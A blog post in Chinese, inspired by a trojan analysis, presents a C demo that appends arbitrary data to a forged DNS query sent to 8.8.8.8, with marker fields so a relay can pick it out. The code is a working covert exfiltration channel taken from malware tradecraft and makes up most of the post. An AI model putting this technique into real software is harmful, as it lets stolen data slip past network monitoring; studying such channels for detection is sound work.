A rather marvelous means to send data anonymously via fake DNS query

前几天freebuf上出现了一篇文章,黑暗幽灵(DCM)木马详细分析,这个木马为了防止被直接找出服务器地址,在上传用户数据时伪装成了DNS查询,然后在关键节点捕获带有特定标识的网络包后进行转发。

抛开一切,不得不说这样的想法还是很好玩。于是就来写了个demo实验了一下。

假定我们伪装成查询www.google.com的IPv4地址,实际发送的数据是nise DNS query

unsigned char hostname[128] = "www.google.com";
unsigned char data[] = "nise DNS query";
nise_dns_query(hostname, data, sizeof(data));

在我们开始写nise_dns_query这个函数之前,我们需要先来看看一个DNS查询的结构。

一个合法的DNS查询由DNS查询头部,需要查询的内容和一个DNS QUESTION组成。DNS查询头部和DNS QUESTION的C结构体如下定义。

struct DNS_HEADER {
    unsigned short id;          // identification number
    unsigned char rd :1;        // recursion desired
    unsigned char tc :1;        // truncated message
    unsigned char aa :1;        // authoritive answer
    unsigned char opcode :4;    // purpose of message
    unsigned char qr :1;        // query/response flag

    unsigned char rcode :4;     // response code
    unsigned char cd :1;        // checking disabled
    unsigned char ad :1;        // authenticated data
    unsigned char z :1;         // its z! reserved
    unsigned char ra :1;        // recursion available
    unsigned short q_count;     // number of question entries
    unsigned short ans_count;   // number of answer entries
    unsigned short auth_count;  // number of authority entries
    unsigned short add_count;   // number of resource entries
};

struct DNS_QUESTION {
    unsigned short qtype;       // question type
    unsigned short qclass;      // question class
};

我们构造一个合法的DNS查询之后,再在尾部加上自己想要发送的数据即可。

/**
 *  @brief Send data via a fake DNS query
 *
 *  @discussion     Although we don't really care about the host
 *                  but using a vaild and frequently used host is better
 *
 *  @param host     Which host do we perform the DNS query
 *  @param data     The data that we really want to send
 *  @param len      Length of the data
 *
 */
void nise_dns_query(unsigned char * host, void * data, size_t len) {
    // 准备一个足够大的缓冲区, 以及两个空指针, 方便之后使用
    unsigned char buf[65536], * qname, * nise;

    // socket句柄
    int socket_fd;

    // 目的DNS的sockaddr_in结构体
    struct sockaddr_in dest;

    // DNS查询头部和DNS QUESTION的指针
    struct DNS_HEADER * dns = NULL;
    struct DNS_QUESTION * question = NULL;

    // 打开socket, 使用UDP协议
    socket_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    // UDP, port 53, 送往8.8.8.8
    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr("8.8.8.8");

    // 开始填充DNS头部
    dns = (struct DNS_HEADER *)&buf;
    dns->qr = 0;
    dns->opcode = 0;
    dns->aa = 0;
    dns->tc = 0;
    dns->rd = 1;
    dns->ra = 0;
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = 0;
    dns->q_count = htons(1);

    // 这里我们设置了两个特征值方便过滤
    dns->id = (unsigned short)htons(0x2333);
    dns->rcode = 0xF;

    // 需要将点分表示的域名重写为DNS查询时的格式
    qname = (unsigned char *)&buf[sizeof(struct DNS_HEADER)];
    format_DNS_name(qname, host);

    // 开始填充DNS QUESTION
    question = (struct DNS_QUESTION *)&buf[sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1)];
    question->qclass = htons(1);
    question->qtype = T_A;

    // 将我们真正想发送的数据附在构造好的DNS查询后面
    nise = (unsigned char *)&buf[sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1) + sizeof(struct DNS_QUESTION)];
    memcpy(nise, data, len);

    // 发送这个伪装的DNS查询
    if (sendto(socket_fd, (char *)buf, sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1) + sizeof(struct DNS_QUESTION) + len, 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) {
        perror("sendto: ");
    } else {
        printf("OK!\n");
    }
}

根据下图wireshark的抓包结果,我们的数据的确发送成功了。
wireshark

完整的代码在此→nise

Leave a Reply

Your email address will not be published. Required fields are marked *

18 + 2 =